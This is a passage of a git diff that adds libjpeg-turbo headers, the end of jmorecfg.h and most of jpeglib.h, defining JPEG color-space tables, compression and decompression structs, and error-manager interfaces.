+#define EXT_XRGB_PIXELSIZE 4 + +static const int rgb_red[JPEG_NUMCS] = { + -1, -1, RGB_RED, -1, -1, -1, EXT_RGB_RED, EXT_RGBX_RED, + EXT_BGR_RED, EXT_BGRX_RED, EXT_XBGR_RED, EXT_XRGB_RED, + EXT_RGBX_RED, EXT_BGRX_RED, EXT_XBGR_RED, EXT_XRGB_RED, + -1 +}; + +static const int rgb_green[JPEG_NUMCS] = { + -1, -1, RGB_GREEN, -1, -1, -1, EXT_RGB_GREEN, EXT_RGBX_GREEN, + EXT_BGR_GREEN, EXT_BGRX_GREEN, EXT_XBGR_GREEN, EXT_XRGB_GREEN, + EXT_RGBX_GREEN, EXT_BGRX_GREEN, EXT_XBGR_GREEN, EXT_XRGB_GREEN, + -1 +}; + +static const int rgb_blue[JPEG_NUMCS] = { + -1, -1, RGB_BLUE, -1, -1, -1, EXT_RGB_BLUE, EXT_RGBX_BLUE, + EXT_BGR_BLUE, EXT_BGRX_BLUE, EXT_XBGR_BLUE, EXT_XRGB_BLUE, + EXT_RGBX_BLUE, EXT_BGRX_BLUE, EXT_XBGR_BLUE, EXT_XRGB_BLUE, + -1 +}; + +static const int rgb_pixelsize[JPEG_NUMCS] = { + -1, -1, RGB_PIXELSIZE, -1, -1, -1, EXT_RGB_PIXELSIZE, EXT_RGBX_PIXELSIZE, + EXT_BGR_PIXELSIZE, EXT_BGRX_PIXELSIZE, EXT_XBGR_PIXELSIZE, EXT_XRGB_PIXELSIZE, + EXT_RGBX_PIXELSIZE, EXT_BGRX_PIXELSIZE, EXT_XBGR_PIXELSIZE, EXT_XRGB_PIXELSIZE, + -1 +}; + +/* Definitions for speed-related optimizations. */ + +/* On some machines (notably 68000 series) "int" is 32 bits, but multiplying + * two 16-bit shorts is faster than multiplying two ints. Define MULTIPLIER + * as short on such a machine. MULTIPLIER must be at least 16 bits wide. + */ + +#ifndef MULTIPLIER +#ifndef WITH_SIMD +#define MULTIPLIER int /* type for fastest integer multiply */ +#else +#define MULTIPLIER short /* prefer 16-bit with SIMD for parellelism */ +#endif +#endif + + +/* FAST_FLOAT should be either float or double, whichever is done faster + * by your compiler. (Note that this type is only used in the floating point + * DCT routines, so it only matters if you've defined DCT_FLOAT_SUPPORTED.) + */ + +#ifndef FAST_FLOAT +#define FAST_FLOAT float +#endif + +#endif /* JPEG_INTERNAL_OPTIONS */ diff --git a/common/jpeglib.h b/common/jpeglib.h new file mode 100644 index 0000000..dac3f6e --- /dev/null +++ b/common/jpeglib.h @@ -0,0 +1,1176 @@ +/* + * jpeglib.h + * + * This file was part of the Independent JPEG Group's software: + * Copyright (C) 1991-1998, Thomas G. Lane. + * Modified 2002-2009 by Guido Vollbeding. + * libjpeg-turbo Modifications: + * Copyright (C) 2009-2011, 2013-2014, 2016-2017, 2020, D. R. Commander. + * Copyright (C) 2015, Google, Inc. + * For conditions of distribution and use, see the accompanying README.ijg + * file. + * + * This file defines the application interface for the JPEG library. + * Most applications using the library need only include this file, + * and perhaps jerror.h if they want to know the exact error codes. + */ + +#ifndef JPEGLIB_H +#define JPEGLIB_H + +/* + * First we include the configuration files that record how this + * installation of the JPEG library is set up. jconfig.h can be + * generated automatically for many systems. jmorecfg.h contains + * manual configuration options that most people need not worry about. + */ + +#ifndef JCONFIG_INCLUDED /* in case jinclude.h already did */ +#include "jconfig.h" /* widely used configuration options */ +#endif +#include "jmorecfg.h" /* seldom changed options */ + + +#ifdef __cplusplus +#ifndef DONT_USE_EXTERN_C +extern "C" { +#endif +#endif + + +/* Various constants determining the sizes of things. + * All of these are specified by the JPEG standard, so don't change them + * if you want to be compatible. + */ + +#define DCTSIZE 8 /* The basic DCT block is 8x8 samples */ +#define DCTSIZE2 64 /* DCTSIZE squared; # of elements in a block */ +#define NUM_QUANT_TBLS 4 /* Quantization tables are numbered 0..3 */ +#define NUM_HUFF_TBLS 4 /* Huffman tables are numbered 0..3 */ +#define NUM_ARITH_TBLS 16 /* Arith-coding tables are numbered 0..15 */ +#define MAX_COMPS_IN_SCAN 4 /* JPEG limit on # of components in one scan */ +#define MAX_SAMP_FACTOR 4 /* JPEG limit on sampling factors */ +/* Unfortunately, some bozo at Adobe saw no reason to be bound by the standard; + * the PostScript DCT filter can emit files with many more than 10 blocks/MCU. + * If you happen to run across such a file, you can up D_MAX_BLOCKS_IN_MCU + * to handle it. We even let you do this from the jconfig.h file. However, + * we strongly discourage changing C_MAX_BLOCKS_IN_MCU; just because Adobe + * sometimes emits noncompliant files doesn't mean you should too. + */ +#define C_MAX_BLOCKS_IN_MCU 10 /* compressor's limit on blocks per MCU */ +#ifndef D_MAX_BLOCKS_IN_MCU +#define D_MAX_BLOCKS_IN_MCU 10 /* decompressor's limit on blocks per MCU */ +#endif + + +/* Data structures for images (arrays of samples and of DCT coefficients). + */ + +typedef JSAMPLE *JSAMPROW; /* ptr to one image row of pixel samples. */ +typedef JSAMPROW *JSAMPARRAY; /* ptr to some rows (a 2-D sample array) */ +typedef JSAMPARRAY *JSAMPIMAGE; /* a 3-D sample array: top index is color */ + +typedef JCOEF JBLOCK[DCTSIZE2]; /* one block of coefficients */ +typedef JBLOCK *JBLOCKROW; /* pointer to one row of coefficient blocks */ +typedef JBLOCKROW *JBLOCKARRAY; /* a 2-D array of coefficient blocks */ +typedef JBLOCKARRAY *JBLOCKIMAGE; /* a 3-D array of coefficient blocks */ + +typedef JCOEF *JCOEFPTR; /* useful in a couple of places */ + + +/* Types for JPEG compression parameters and working tables. */ + + +/* DCT coefficient quantization tables. */ + +typedef struct { + /* This array gives the coefficient quantizers in natural array order + * (not the zigzag order in which they are stored in a JPEG DQT marker). + * CAUTION: IJG versions prior to v6a kept this array in zigzag order. + */ + UINT16 quantval[DCTSIZE2]; /* quantization step for each coefficient */ + /* This field is used only during compression. It's initialized FALSE when + * the table is created, and set TRUE when it's been output to the file. + * You could suppress output of a table by setting this to TRUE. + * (See jpeg_suppress_tables for an example.) + */ + boolean sent_table; /* TRUE when table has been output */ +} JQUANT_TBL; + + +/* Huffman coding tables. */ + +typedef struct { + /* These two fields directly represent the contents of a JPEG DHT marker */ + UINT8 bits[17]; /* bits[k] = # of symbols with codes of */ + /* length k bits; bits[0] is unused */ + UINT8 huffval[256]; /* The symbols, in order of incr code length */ + /* This field is used only during compression. It's initialized FALSE when + * the table is created, and set TRUE when it's been output to the file. + * You could suppress output of a table by setting this to TRUE. + * (See jpeg_suppress_tables for an example.) + */ + boolean sent_table; /* TRUE when table has been output */ +} JHUFF_TBL; + + +/* Basic info about one component (color channel). */ + +typedef struct { + /* These values are fixed over the whole image. */ + /* For compression, they must be supplied by parameter setup; */ + /* for decompression, they are read from the SOF marker. */ + int component_id; /* identifier for this component (0..255) */ + int component_index; /* its index in SOF or cinfo->comp_info[] */ + int h_samp_factor; /* horizontal sampling factor (1..4) */ + int v_samp_factor; /* vertical sampling factor (1..4) */ + int quant_tbl_no; /* quantization table selector (0..3) */ + /* These values may vary between scans. */ + /* For compression, they must be supplied by parameter setup; */ + /* for decompression, they are read from the SOS marker. */ + /* The decompressor output side may not use these variables. */ + int dc_tbl_no; /* DC entropy table selector (0..3) */ + int ac_tbl_no; /* AC entropy table selector (0..3) */ + + /* Remaining fields should be treated as private by applications. */ + + /* These values are computed during compression or decompression startup: */ + /* Component's size in DCT blocks. + * Any dummy blocks added to complete an MCU are not counted; therefore + * these values do not depend on whether a scan is interleaved or not. + */ + JDIMENSION width_in_blocks; + JDIMENSION height_in_blocks; + /* Size of a DCT block in samples. Always DCTSIZE for compression. + * For decompression this is the size of the output from one DCT block, + * reflecting any scaling we choose to apply during the IDCT step. + * Values from 1 to 16 are supported. + * Note that different components may receive different IDCT scalings. + */ +#if JPEG_LIB_VERSION >= 70 + int DCT_h_scaled_size; + int DCT_v_scaled_size; +#else + int DCT_scaled_size; +#endif + /* The downsampled dimensions are the component's actual, unpadded number + * of samples at the main buffer (preprocessing/compression interface), thus + * downsampled_width = ceil(image_width * Hi/Hmax) + * and similarly for height. For decompression, IDCT scaling is included, so + * downsampled_width = ceil(image_width * Hi/Hmax * DCT_[h_]scaled_size/DCTSIZE) + */ + JDIMENSION downsampled_width; /* actual width in samples */ + JDIMENSION downsampled_height; /* actual height in samples */ + /* This flag is used only for decompression. In cases where some of the + * components will be ignored (eg grayscale output from YCbCr image), + * we can skip most computations for the unused components. + */ + boolean component_needed; /* do we need the value of this component? */ + + /* These values are computed before starting a scan of the component. */ + /* The decompressor output side may not use these variables. */ + int MCU_width; /* number of blocks per MCU, horizontally */ + int MCU_height; /* number of blocks per MCU, vertically */ + int MCU_blocks; /* MCU_width * MCU_height */ + int MCU_sample_width; /* MCU width in samples, MCU_width*DCT_[h_]scaled_size */ + int last_col_width; /* # of non-dummy blocks across in last MCU */ + int last_row_height; /* # of non-dummy blocks down in last MCU */ + + /* Saved quantization table for component; NULL if none yet saved. + * See jdinput.c comments about the need for this information. + * This field is currently used only for decompression. + */ + JQUANT_TBL *quant_table; + + /* Private per-component storage for DCT or IDCT subsystem. */ + void *dct_table; +} jpeg_component_info; + + +/* The script for encoding a multiple-scan file is an array of these: */ + +typedef struct { + int comps_in_scan; /* number of components encoded in this scan */ + int component_index[MAX_COMPS_IN_SCAN]; /* their SOF/comp_info[] indexes */ + int Ss, Se; /* progressive JPEG spectral selection parms */ + int Ah, Al; /* progressive JPEG successive approx. parms */ +} jpeg_scan_info; + +/* The decompressor can save APPn and COM markers in a list of these: */ + +typedef struct jpeg_marker_struct *jpeg_saved_marker_ptr; + +struct jpeg_marker_struct { + jpeg_saved_marker_ptr next; /* next in list, or NULL */ + UINT8 marker; /* marker code: JPEG_COM, or JPEG_APP0+n */ + unsigned int original_length; /* # bytes of data in the file */ + unsigned int data_length; /* # bytes of data saved at data[] */ + JOCTET *data; /* the data contained in the marker */ + /* the marker length word is not counted in data_length or original_length */ +}; + +/* Known color spaces. */ + +#define JCS_EXTENSIONS 1 +#define JCS_ALPHA_EXTENSIONS 1 + +typedef enum { + JCS_UNKNOWN, /* error/unspecified */ + JCS_GRAYSCALE, /* monochrome */ + JCS_RGB, /* red/green/blue as specified by the RGB_RED, + RGB_GREEN, RGB_BLUE, and RGB_PIXELSIZE macros */ + JCS_YCbCr, /* Y/Cb/Cr (also known as YUV) */ + JCS_CMYK, /* C/M/Y/K */ + JCS_YCCK, /* Y/Cb/Cr/K */ + JCS_EXT_RGB, /* red/green/blue */ + JCS_EXT_RGBX, /* red/green/blue/x */ + JCS_EXT_BGR, /* blue/green/red */ + JCS_EXT_BGRX, /* blue/green/red/x */ + JCS_EXT_XBGR, /* x/blue/green/red */ + JCS_EXT_XRGB, /* x/red/green/blue */ + /* When out_color_space it set to JCS_EXT_RGBX, JCS_EXT_BGRX, JCS_EXT_XBGR, + or JCS_EXT_XRGB during decompression, the X byte is undefined, and in + order to ensure the best performance, libjpeg-turbo can set that byte to + whatever value it wishes. Use the following colorspace constants to + ensure that the X byte is set to 0xFF, so that it can be interpreted as an + opaque alpha channel. */ + JCS_EXT_RGBA, /* red/green/blue/alpha */ + JCS_EXT_BGRA, /* blue/green/red/alpha */ + JCS_EXT_ABGR, /* alpha/blue/green/red */ + JCS_EXT_ARGB, /* alpha/red/green/blue */ + JCS_RGB565 /* 5-bit red/6-bit green/5-bit blue */ +} J_COLOR_SPACE; + +/* DCT/IDCT algorithm options. */ + +typedef enum { + JDCT_ISLOW, /* accurate integer method */ + JDCT_IFAST, /* less accurate integer method [legacy feature] */ + JDCT_FLOAT /* floating-point method [legacy feature] */ +} J_DCT_METHOD; + +#ifndef JDCT_DEFAULT /* may be overridden in jconfig.h */ +#define JDCT_DEFAULT JDCT_ISLOW +#endif +#ifndef JDCT_FASTEST /* may be overridden in jconfig.h */ +#define JDCT_FASTEST JDCT_IFAST +#endif + +/* Dithering options for decompression. */ + +typedef enum { + JDITHER_NONE, /* no dithering */ + JDITHER_ORDERED, /* simple ordered dither */ + JDITHER_FS /* Floyd-Steinberg error diffusion dither */ +} J_DITHER_MODE; + + +/* Common fields between JPEG compression and decompression master structs. */ + +#define jpeg_common_fields \ + struct jpeg_error_mgr *err; /* Error handler module */ \ + struct jpeg_memory_mgr *mem; /* Memory manager module */ \ + struct jpeg_progress_mgr *progress; /* Progress monitor, or NULL if none */ \ + void *client_data; /* Available for use by application */ \ + boolean is_decompressor; /* So common code can tell which is which */ \ + int global_state /* For checking call sequence validity */ + +/* Routines that are to be used by both halves of the library are declared + * to receive a pointer to this structure. There are no actual instances of + * jpeg_common_struct, only of jpeg_compress_struct and jpeg_decompress_struct. + */ +struct jpeg_common_struct { + jpeg_common_fields; /* Fields common to both master struct types */ + /* Additional fields follow in an actual jpeg_compress_struct or + * jpeg_decompress_struct. All three structs must agree on these + * initial fields! (This would be a lot cleaner in C++.) + */ +}; + +typedef struct jpeg_common_struct *j_common_ptr; +typedef struct jpeg_compress_struct *j_compress_ptr; +typedef struct jpeg_decompress_struct *j_decompress_ptr; + + +/* Master record for a compression instance */ + +struct jpeg_compress_struct { + jpeg_common_fields; /* Fields shared with jpeg_decompress_struct */ + + /* Destination for compressed data */ + struct jpeg_destination_mgr *dest; + + /* Description of source image --- these fields must be filled in by + * outer application before starting compression. in_color_space must + * be correct before you can even call jpeg_set_defaults(). + */ + + JDIMENSION image_width; /* input image width */ + JDIMENSION image_height; /* input image height */ + int input_components; /* # of color components in input image */ + J_COLOR_SPACE in_color_space; /* colorspace of input image */ + + double input_gamma; /* image gamma of input image */ + + /* Compression parameters --- these fields must be set before calling + * jpeg_start_compress(). We recommend calling jpeg_set_defaults() to + * initialize everything to reasonable defaults, then changing anything + * the application specifically wants to change. That way you won't get + * burnt when new parameters are added. Also note that there are several + * helper routines to simplify changing parameters. + */ + +#if JPEG_LIB_VERSION >= 70 + unsigned int scale_num, scale_denom; /* fraction by which to scale image */ + + JDIMENSION jpeg_width; /* scaled JPEG image width */ + JDIMENSION jpeg_height; /* scaled JPEG image height */ + /* Dimensions of actual JPEG image that will be written to file, + * derived from input dimensions by scaling factors above. + * These fields are computed by jpeg_start_compress(). + * You can also use jpeg_calc_jpeg_dimensions() to determine these values + * in advance of calling jpeg_start_compress(). + */ +#endif + + int data_precision; /* bits of precision in image data */ + + int num_components; /* # of color components in JPEG image */ + J_COLOR_SPACE jpeg_color_space; /* colorspace of JPEG image */ + + jpeg_component_info *comp_info; + /* comp_info[i] describes component that appears i'th in SOF */ + + JQUANT_TBL *quant_tbl_ptrs[NUM_QUANT_TBLS]; +#if JPEG_LIB_VERSION >= 70 + int q_scale_factor[NUM_QUANT_TBLS]; +#endif + /* ptrs to coefficient quantization tables, or NULL if not defined, + * and corresponding scale factors (percentage, initialized 100). + */ + + JHUFF_TBL *dc_huff_tbl_ptrs[NUM_HUFF_TBLS]; + JHUFF_TBL *ac_huff_tbl_ptrs[NUM_HUFF_TBLS]; + /* ptrs to Huffman coding tables, or NULL if not defined */ + + UINT8 arith_dc_L[NUM_ARITH_TBLS]; /* L values for DC arith-coding tables */ + UINT8 arith_dc_U[NUM_ARITH_TBLS]; /* U values for DC arith-coding tables */ + UINT8 arith_ac_K[NUM_ARITH_TBLS]; /* Kx values for AC arith-coding tables */ + + int num_scans; /* # of entries in scan_info array */ + const jpeg_scan_info *scan_info; /* script for multi-scan file, or NULL */ + /* The default value of scan_info is NULL, which causes a single-scan + * sequential JPEG file to be emitted. To create a multi-scan file, + * set num_scans and scan_info to point to an array of scan definitions. + */ + + boolean raw_data_in; /* TRUE=caller supplies downsampled data */ + boolean arith_code; /* TRUE=arithmetic coding, FALSE=Huffman */ + boolean optimize_coding; /* TRUE=optimize entropy encoding parms */ + boolean CCIR601_sampling; /* TRUE=first samples are cosited */ +#if JPEG_LIB_VERSION >= 70 + boolean do_fancy_downsampling; /* TRUE=apply fancy downsampling */ +#endif + int smoothing_factor; /* 1..100, or 0 for no input smoothing */ + J_DCT_METHOD dct_method; /* DCT algorithm selector */ + + /* The restart interval can be specified in absolute MCUs by setting + * restart_interval, or in MCU rows by setting restart_in_rows + * (in which case the correct restart_interval will be figured + * for each scan). + */ + unsigned int restart_interval; /* MCUs per restart, or 0 for no restart */ + int restart_in_rows; /* if > 0, MCU rows per restart interval */ + + /* Parameters controlling emission of special markers. */ + + boolean write_JFIF_header; /* should a JFIF marker be written? */ + UINT8 JFIF_major_version; /* What to write for the JFIF version number */ + UINT8 JFIF_minor_version; + /* These three values are not used by the JPEG code, merely copied */ + /* into the JFIF APP0 marker. density_unit can be 0 for unknown, */ + /* 1 for dots/inch, or 2 for dots/cm. Note that the pixel aspect */ + /* ratio is defined by X_density/Y_density even when density_unit=0. */ + UINT8 density_unit; /* JFIF code for pixel size units */ + UINT16 X_density; /* Horizontal pixel density */ + UINT16 Y_density; /* Vertical pixel density */ + boolean write_Adobe_marker; /* should an Adobe marker be written? */ + + /* State variable: index of next scanline to be written to + * jpeg_write_scanlines(). Application may use this to control its + * processing loop, e.g., "while (next_scanline < image_height)". + */ + + JDIMENSION next_scanline; /* 0 .. image_height-1 */ + + /* Remaining fields are known throughout compressor, but generally + * should not be touched by a surrounding application. + */ + + /* + * These fields are computed during compression startup + */ + boolean progressive_mode; /* TRUE if scan script uses progressive mode */ + int max_h_samp_factor; /* largest h_samp_factor */ + int max_v_samp_factor; /* largest v_samp_factor */ + +#if JPEG_LIB_VERSION >= 70 + int min_DCT_h_scaled_size; /* smallest DCT_h_scaled_size of any component */ + int min_DCT_v_scaled_size; /* smallest DCT_v_scaled_size of any component */ +#endif + + JDIMENSION total_iMCU_rows; /* # of iMCU rows to be input to coef ctlr */ + /* The coefficient controller receives data in units of MCU rows as defined + * for fully interleaved scans (whether the JPEG file is interleaved or not). + * There are v_samp_factor * DCTSIZE sample rows of each component in an + * "iMCU" (interleaved MCU) row. + */ + + /* + * These fields are valid during any one scan. + * They describe the components and MCUs actually appearing in the scan. + */ + int comps_in_scan; /* # of JPEG components in this scan */ + jpeg_component_info *cur_comp_info[MAX_COMPS_IN_SCAN]; + /* *cur_comp_info[i] describes component that appears i'th in SOS */ + + JDIMENSION MCUs_per_row; /* # of MCUs across the image */ + JDIMENSION MCU_rows_in_scan; /* # of MCU rows in the image */ + + int blocks_in_MCU; /* # of DCT blocks per MCU */ + int MCU_membership[C_MAX_BLOCKS_IN_MCU]; + /* MCU_membership[i] is index in cur_comp_info of component owning */ + /* i'th block in an MCU */ + + int Ss, Se, Ah, Al; /* progressive JPEG parameters for scan */ + +#if JPEG_LIB_VERSION >= 80 + int block_size; /* the basic DCT block size: 1..16 */ + const int *natural_order; /* natural-order position array */ + int lim_Se; /* min( Se, DCTSIZE2-1 ) */ +#endif + + /* + * Links to compression subobjects (methods and private variables of modules) + */ + struct jpeg_comp_master *master; + struct jpeg_c_main_controller *main; + struct jpeg_c_prep_controller *prep; + struct jpeg_c_coef_controller *coef; + struct jpeg_marker_writer *marker; + struct jpeg_color_converter *cconvert; + struct jpeg_downsampler *downsample; + struct jpeg_forward_dct *fdct; + struct jpeg_entropy_encoder *entropy; + jpeg_scan_info *script_space; /* workspace for jpeg_simple_progression */ + int script_space_size; +}; + + +/* Master record for a decompression instance */ + +struct jpeg_decompress_struct { + jpeg_common_fields; /* Fields shared with jpeg_compress_struct */ + + /* Source of compressed data */ + struct jpeg_source_mgr *src; + + /* Basic description of image --- filled in by jpeg_read_header(). */ + /* Application may inspect these values to decide how to process image. */ + + JDIMENSION image_width; /* nominal image width (from SOF marker) */ + JDIMENSION image_height; /* nominal image height */ + int num_components; /* # of color components in JPEG image */ + J_COLOR_SPACE jpeg_color_space; /* colorspace of JPEG image */ + + /* Decompression processing parameters --- these fields must be set before + * calling jpeg_start_decompress(). Note that jpeg_read_header() initializes + * them to default values. + */ + + J_COLOR_SPACE out_color_space; /* colorspace for output */ + + unsigned int scale_num, scale_denom; /* fraction by which to scale image */ + + double output_gamma; /* image gamma wanted in output */ + + boolean buffered_image; /* TRUE=multiple output passes */ + boolean raw_data_out; /* TRUE=downsampled data wanted */ + + J_DCT_METHOD dct_method; /* IDCT algorithm selector */ + boolean do_fancy_upsampling; /* TRUE=apply fancy upsampling */ + boolean do_block_smoothing; /* TRUE=apply interblock smoothing */ + + boolean quantize_colors; /* TRUE=colormapped output wanted */ + /* the following are ignored if not quantize_colors: */ + J_DITHER_MODE dither_mode; /* type of color dithering to use */ + boolean two_pass_quantize; /* TRUE=use two-pass color quantization */ + int desired_number_of_colors; /* max # colors to use in created colormap */ + /* these are significant only in buffered-image mode: */ + boolean enable_1pass_quant; /* enable future use of 1-pass quantizer */ + boolean enable_external_quant;/* enable future use of external colormap */ + boolean enable_2pass_quant; /* enable future use of 2-pass quantizer */ + + /* Description of actual output image that will be returned to application. + * These fields are computed by jpeg_start_decompress(). + * You can also use jpeg_calc_output_dimensions() to determine these values + * in advance of calling jpeg_start_decompress(). + */ + + JDIMENSION output_width; /* scaled image width */ + JDIMENSION output_height; /* scaled image height */ + int out_color_components; /* # of color components in out_color_space */ + int output_components; /* # of color components returned */ + /* output_components is 1 (a colormap index) when quantizing colors; + * otherwise it equals out_color_components. + */ + int rec_outbuf_height; /* min recommended height of scanline buffer */ + /* If the buffer passed to jpeg_read_scanlines() is less than this many rows + * high, space and time will be wasted due to unnecessary data copying. + * Usually rec_outbuf_height will be 1 or 2, at most 4. + */ + + /* When quantizing colors, the output colormap is described by these fields. + * The application can supply a colormap by setting colormap non-NULL before + * calling jpeg_start_decompress; otherwise a colormap is created during + * jpeg_start_decompress or jpeg_start_output. + * The map has out_color_components rows and actual_number_of_colors columns. + */ + int actual_number_of_colors; /* number of entries in use */ + JSAMPARRAY colormap; /* The color map as a 2-D pixel array */ + + /* State variables: these variables indicate the progress of decompression. + * The application may examine these but must not modify them. + */ + + /* Row index of next scanline to be read from jpeg_read_scanlines(). + * Application may use this to control its processing loop, e.g., + * "while (output_scanline < output_height)". + */ + JDIMENSION output_scanline; /* 0 .. output_height-1 */ + + /* Current input scan number and number of iMCU rows completed in scan. + * These indicate the progress of the decompressor input side. + */ + int input_scan_number; /* Number of SOS markers seen so far */ + JDIMENSION input_iMCU_row; /* Number of iMCU rows completed */ + + /* The "output scan number" is the notional scan being displayed by the + * output side. The decompressor will not allow output scan/row number + * to get ahead of input scan/row, but it can fall arbitrarily far behind. + */ + int output_scan_number; /* Nominal scan number being displayed */ + JDIMENSION output_iMCU_row; /* Number of iMCU rows read */ + + /* Current progression status. coef_bits[c][i] indicates the precision + * with which component c's DCT coefficient i (in zigzag order) is known. + * It is -1 when no data has yet been received, otherwise it is the point + * transform (shift) value for the most recent scan of the coefficient + * (thus, 0 at completion of the progression). + * This pointer is NULL when reading a non-progressive file. + */ + int (*coef_bits)[DCTSIZE2]; /* -1 or current Al value for each coef */ + + /* Internal JPEG parameters --- the application usually need not look at + * these fields. Note that the decompressor output side may not use + * any parameters that can change between scans. + */ + + /* Quantization and Huffman tables are carried forward across input + * datastreams when processing abbreviated JPEG datastreams. + */ + + JQUANT_TBL *quant_tbl_ptrs[NUM_QUANT_TBLS]; + /* ptrs to coefficient quantization tables, or NULL if not defined */ + + JHUFF_TBL *dc_huff_tbl_ptrs[NUM_HUFF_TBLS]; + JHUFF_TBL *ac_huff_tbl_ptrs[NUM_HUFF_TBLS]; + /* ptrs to Huffman coding tables, or NULL if not defined */ + + /* These parameters are never carried across datastreams, since they + * are given in SOF/SOS markers or defined to be reset by SOI. + */ + + int data_precision; /* bits of precision in image data */ + + jpeg_component_info *comp_info; + /* comp_info[i] describes component that appears i'th in SOF */ + +#if JPEG_LIB_VERSION >= 80 + boolean is_baseline; /* TRUE if Baseline SOF0 encountered */ +#endif + boolean progressive_mode; /* TRUE if SOFn specifies progressive mode */ + boolean arith_code; /* TRUE=arithmetic coding, FALSE=Huffman */ + + UINT8 arith_dc_L[NUM_ARITH_TBLS]; /* L values for DC arith-coding tables */ + UINT8 arith_dc_U[NUM_ARITH_TBLS]; /* U values for DC arith-coding tables */ + UINT8 arith_ac_K[NUM_ARITH_TBLS]; /* Kx values for AC arith-coding tables */ + + unsigned int restart_interval; /* MCUs per restart interval, or 0 for no restart */ + + /* These fields record data obtained from optional markers recognized by + * the JPEG library. + */ + boolean saw_JFIF_marker; /* TRUE iff a JFIF APP0 marker was found */ + /* Data copied from JFIF marker; only valid if saw_JFIF_marker is TRUE: */ + UINT8 JFIF_major_version; /* JFIF version number */ + UINT8 JFIF_minor_version; + UINT8 density_unit; /* JFIF code for pixel size units */ + UINT16 X_density; /* Horizontal pixel density */ + UINT16 Y_density; /* Vertical pixel density */ + boolean saw_Adobe_marker; /* TRUE iff an Adobe APP14 marker was found */ + UINT8 Adobe_transform; /* Color transform code from Adobe marker */ + + boolean CCIR601_sampling; /* TRUE=first samples are cosited */ + + /* Aside from the specific data retained from APPn markers known to the + * library, the uninterpreted contents of any or all APPn and COM markers + * can be saved in a list for examination by the application. + */ + jpeg_saved_marker_ptr marker_list; /* Head of list of saved markers */ + + /* Remaining fields are known throughout decompressor, but generally + * should not be touched by a surrounding application. + */ + + /* + * These fields are computed during decompression startup + */ + int max_h_samp_factor; /* largest h_samp_factor */ + int max_v_samp_factor; /* largest v_samp_factor */ + +#if JPEG_LIB_VERSION >= 70 + int min_DCT_h_scaled_size; /* smallest DCT_h_scaled_size of any component */ + int min_DCT_v_scaled_size; /* smallest DCT_v_scaled_size of any component */ +#else + int min_DCT_scaled_size; /* smallest DCT_scaled_size of any component */ +#endif + + JDIMENSION total_iMCU_rows; /* # of iMCU rows in image */ + /* The coefficient controller's input and output progress is measured in + * units of "iMCU" (interleaved MCU) rows. These are the same as MCU rows + * in fully interleaved JPEG scans, but are used whether the scan is + * interleaved or not. We define an iMCU row as v_samp_factor DCT block + * rows of each component. Therefore, the IDCT output contains + * v_samp_factor*DCT_[v_]scaled_size sample rows of a component per iMCU row. + */ + + JSAMPLE *sample_range_limit; /* table for fast range-limiting */ + + /* + * These fields are valid during any one scan. + * They describe the components and MCUs actually appearing in the scan. + * Note that the decompressor output side must not use these fields. + */ + int comps_in_scan; /* # of JPEG components in this scan */ + jpeg_component_info *cur_comp_info[MAX_COMPS_IN_SCAN]; + /* *cur_comp_info[i] describes component that appears i'th in SOS */ + + JDIMENSION MCUs_per_row; /* # of MCUs across the image */ + JDIMENSION MCU_rows_in_scan; /* # of MCU rows in the image */ + + int blocks_in_MCU; /* # of DCT blocks per MCU */ + int MCU_membership[D_MAX_BLOCKS_IN_MCU]; + /* MCU_membership[i] is index in cur_comp_info of component owning */ + /* i'th block in an MCU */ + + int Ss, Se, Ah, Al; /* progressive JPEG parameters for scan */ + +#if JPEG_LIB_VERSION >= 80 + /* These fields are derived from Se of first SOS marker. + */ + int block_size; /* the basic DCT block size: 1..16 */ + const int *natural_order; /* natural-order position array for entropy decode */ + int lim_Se; /* min( Se, DCTSIZE2-1 ) for entropy decode */ +#endif + + /* This field is shared between entropy decoder and marker parser. + * It is either zero or the code of a JPEG marker that has been + * read from the data source, but has not yet been processed. + */ + int unread_marker; + + /* + * Links to decompression subobjects (methods, private variables of modules) + */ + struct jpeg_decomp_master *master; + struct jpeg_d_main_controller *main; + struct jpeg_d_coef_controller *coef; + struct jpeg_d_post_controller *post; + struct jpeg_input_controller *inputctl; + struct jpeg_marker_reader *marker; + struct jpeg_entropy_decoder *entropy; + struct jpeg_inverse_dct *idct; + struct jpeg_upsampler *upsample; + struct jpeg_color_deconverter *cconvert; + struct jpeg_color_quantizer *cquantize; +}; + + +/* "Object" declarations for JPEG modules that may be supplied or called + * directly by the surrounding application. + * As with all objects in the JPEG library, these structs only define the + * publicly visible methods and state variables of a module. Additional + * private fields may exist after the public ones. + */ + + +/* Error handler object */ + +struct jpeg_error_mgr { + /* Error exit handler: does not return to caller */ + void (*error_exit) (j_common_ptr cinfo); + /* Conditionally emit a trace or warning message */ + void (*emit_message) (j_common_ptr cinfo, int msg_level); + /* Routine that actually outputs a trace or error message */ + void (*output_message) (j_common_ptr cinfo); + /* Format a message string for the most recent JPEG error or message */ + void (*format_message) (j_common_ptr cinfo, char *buffer); +#define JMSG_LENGTH_MAX 200 /* recommended size of format_message buffer */ + /* Reset error state variables at start of a new image */ + void (*reset_error_mgr) (j_common_ptr cinfo); + + /* The message ID code and any parameters are saved here. + * A message can have one string parameter or up to 8 int parameters. + */ + int msg_code; +#define JMSG_STR_PARM_MAX 80 + union { + int i[8]; + char s[JMSG_STR_PARM_MAX]; + } msg_parm; + + /* Standard state variables for error facility */ + + int trace_level; /* max msg_level that will be displayed */ + + /* For recoverable corrupt-data errors, we emit a warning message, + * but keep going unless emit_message chooses to abort. emit_message + * should count warnings in num_warnings. The surrounding application + * can check for bad data by seeing if num_warnings is nonzero at the + * end of processing. + */ + long num_warnings; /* number of corrupt-data warnings */ + + /* These fields point to the table(s) of error message strings. + * An application can change the table pointer to switch to a different + * message list (typically, to change the language in which errors are + * reported). Some applications may wish to add additional error codes + * that will be handled by the JPEG library error mechanism; the second + * table pointer is used for this purpose. + * + * First table includes all errors generated by JPEG library itself. + * Error code 0 is reserved for a "no such error string" message. + */ + const char * const *jpeg_message_table; /* Library errors */ + int last_jpeg_message; /* Table contains strings 0..last_jpeg_message */ + /* Second table can be added by application (see cjpeg/djpeg for example). + * It contains strings numbered first_addon_message..last_addon_message. + */ + const char * const *addon_message_table; /* Non-library errors */ + int first_addon_message; /* code for first string in addon table */ + int last_addon_message; /* code for last string in addon table */ +}; + + +/* Progress monitor object */ + +struct jpeg_progress_mgr { + void (*progress_monitor) (j_common_ptr cinfo); + + long pass_counter; /* work units completed in this pass */ + long pass_limit; /* total number of work units in this pass */ + int completed_passes; /* passes completed so far */ + int total_passes; /* total number of passes expected */ +}; + + +/* Data destination object for compression */ + +struct 